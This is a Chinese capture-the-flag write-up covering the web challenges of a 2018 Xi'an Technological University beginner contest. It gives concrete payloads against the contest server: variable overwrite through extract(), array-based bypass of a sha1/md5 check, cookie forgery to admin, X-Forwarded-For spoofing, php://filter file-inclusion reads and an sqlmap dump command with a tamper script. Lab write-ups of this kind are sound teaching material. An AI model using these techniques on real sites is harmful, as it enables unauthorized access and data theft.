2018西安工业大学第二届萌新线上赛web WP

赛题网站:http://117.34.116.134/

WBE

榕榕学姐的美好祝愿

打开链接

2018西安工业大学第二届萌新线上赛web WP

右击,查看页面源码

2018西安工业大学第二届萌新线上赛web WP

得到flag

web1

打开,发现

2018西安工业大学第二届萌新线上赛web WP

 右击,查看源码,在最下面发现flag

2018西安工业大学第二届萌新线上赛web WP

web2

打开,查看源码,没有发现有用信息

按F12,查看网络,发现Cookie里藏着flag

2018西安工业大学第二届萌新线上赛web WP

 

web3

打开,发现是代码审计题

2018西安工业大学第二届萌新线上赛web WP

审计PHP代码,就是要构造$user ===gou 'xatusec'

构造payload:http://117.34.116.134:8085/xatu/web3/index.php?user=xatusec

得到flag

2018西安工业大学第二届萌新线上赛web WP

 

web4

打开,发现

2018西安工业大学第二届萌新线上赛web WP

 和web3一样,只是换成了POST方式传参

使用火狐的hackbar传参

2018西安工业大学第二届萌新线上赛web WP

得到flag

web5

打开,发现只有一句文字:flag在一个神奇的地方!

查看源码,没有有用信息,按F12也没有发现有用信息

查看url地址,我们发现1ndex.php,将1改为i,发现又跳转回1ndex.php

用burpsuite抓包,将1改为i,重新发请求,得到flag

2018西安工业大学第二届萌新线上赛web WP

 

web6

打开链接

2018西安工业大学第二届萌新线上赛web WP

代码审计,百度一下,发现是变量覆盖漏洞

题目使用了extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()对变量进行覆盖,从而满足各个条件

GET请求 ?b=&a=,extract()会将$b和$a的值覆盖了,将变量的值设置为空或者不存在的文件就满足$a == $content。

breebuf详细讲解`变量漏洞网址:http://www.freebuf.com/column/150731.html

构造payload:http://117.34.116.134:8085/xatu/web6/index.php?b=&a=

2018西安工业大学第二届萌新线上赛web WP

得到flag

 

web7

打开链接,查看源码

2018西安工业大学第二届萌新线上赛web WP

需要传递name和password,同时需要name和password不相等,到这里都很简单

然后需要(sha1($_GET['name']) == md5($_GET['password'])

使用常规的用户名密码是无法完成的,这里有一点是sha1无法对数组进行处理,

如果传入的是数组会返回false,

这里我们就只需要传入两个不同的数组即可,既满足用户名密码不相等,

又因为传入的数组导致返回的sha1和md5加密后返回false,就达到了我们的目的,

构造:http://117.34.116.134:8085/xatu/web7/index.php?name[]=1&password[]=2

2018西安工业大学第二届萌新线上赛web WP

web8

打开链接

 2018西安工业大学第二届萌新线上赛web WP

 提示未经授权的用户!

按F12,查看网络,发现Cookie中有以下信息

2018西安工业大学第二届萌新线上赛web WP

用burpsuite抓包

将user中的Z3Vlc3Q=通过base64解码,得到guest

由页面提示想到,将guest改为admin

将admin转base64:YWRtaW4=

编辑重发:

2018西安工业大学第二届萌新线上赛web WP

显示没有登录

将login值改为1,重发

2018西安工业大学第二届萌新线上赛web WP

 得到flag

web9

打开连接

2018西安工业大学第二届萌新线上赛web WP

 直接burpsuite 抓包

提示要求必须是本地客户端

那么,使用X-Forwarded-For:127.0.0.1进行ip伪造

2018西安工业大学第二届萌新线上赛web WP

 有提示可知,需要将User-Agent后面的内容修改为Xatu_Web_Broswer

2018西安工业大学第二届萌新线上赛web WP

 

web11

打开链接,什么都没有,查看源码

2018西安工业大学第二届萌新线上赛web WP

 

发现提示,将include1.php填入url中,仍然什么也没有

但是发现url:http://117.34.116.134:10011/include1.php?file=index

非常像php伪协议

构造一波:http://117.34.116.134:10011/include1.php?file=php://filter/read=convert.base64-encode/resource=include1

2018西安工业大学第二届萌新线上赛web WP

 得到一串base64加密字符,解码

<html>
</html>
<?php

	error_reporting(0);
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100 || $file==="include1" )
        {
            echo "<p> error! </p>";
        }
        else
        {
			include($file.'.php');
			setcookie("tips","include2.php");
        }
    }
	else
	{
		header('Location:include1.php?file=index');
	}
?>

发现其过滤了flag关键字,但是提示其中包含include2.php

再构造一波:http://117.34.116.134:10011/include1.php?file=php://filter/read=convert.base64-encode/resource=include2

得到另一串base64加密字符,解码

<html>
</html>
<?php
error_reporting(0);
$file = $_GET["file"];
if(isset($file))
{
    if ( preg_match('/http|data|ftp|input|%00|base/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100)
    {
        echo "<p> error! </p>";
    }
    else
    {
		include($file.'.php');
    }
}
else
{
	echo "file not found";
}
?>

发现其没有过滤flag关键字,但是过滤了base关键字

百度了一下,可以使用rot13进行构造

发现页面空白,查看源码

2018西安工业大学第二届萌新线上赛web WP

得到flag:flag{5d41a03ab1b2a76b9719d911017c592}

 

simple_sql

打开链接,发现是一个输入框,查看源码,发现其过滤了空格

直接使用sqlmap,sqlmap中的space2comment.py,可以绕过

sqlmap -u "http://117.34.116.134:10004/index.php?id=1" --dbms mysql --tamper "space2comment.py" -D maolaile -T adm1n -C admin --dump

2018西安工业大学第二届萌新线上赛web WP

得到flag

更新中...

本人菜鸟,大佬勿喷!